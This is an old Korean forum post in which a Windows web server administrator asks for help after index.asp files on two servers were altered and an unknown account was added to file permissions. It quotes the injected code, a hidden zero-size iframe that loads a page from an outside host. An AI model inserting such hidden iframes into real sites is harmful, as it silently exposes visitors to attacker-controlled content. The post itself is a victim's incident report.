크래킹 피해

423,

10/22

soarrr

윈도우 웹서버 파일 변경(해킹)에 관한 문의입니다..

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_recover&no=235 [복사]

안녕하세요.. 오래간만입니다..
잠시 활동하다 잠적해버리다 이렇게 염치없이 도움을 얻고자 돌아왔습니다..

다름이 아니라.. windows 서버 2대가 index.asp 파일이 변경되었습니다..
(<iframe src="http://kr.kr2cn.com/index.htm" width="0" height="0" frameborder="0"></iframe>) <- 삽입
코드 제일 하단에 iframe 으로 코드가 삽입되었는데..
변경날짜가 제각기 2005년 12월과 2006년 6월 경입니다..
물론 사고는 최근에 발생한것으로 추정됩니다만..(아닐수도 있습니다..)

우선 한 서버를 보면 알수없는 계정(s-1-5-21-1454055633-2705038733-166218806..) 이라고 index.asp 파일에 보안 정보에 계정이 추가되어있습니다..(win2003)
다른 서버는 2000에는 없구요..

각 각 파일이 생성돼었을 때 기준으로 로그를 첨부합니다..
어떤 취약점으로 가능했는지 조언좀 부탁드리겠습니다..
로그는 plaza.snu.ac.kr/~heeya/logs.zip 다운받으시면 됩니다..

멍멍님 잘 지내셨죠?? ^^ 문안인사 드립니다..

Hit : 4468 Date : 2006/09/05 02:57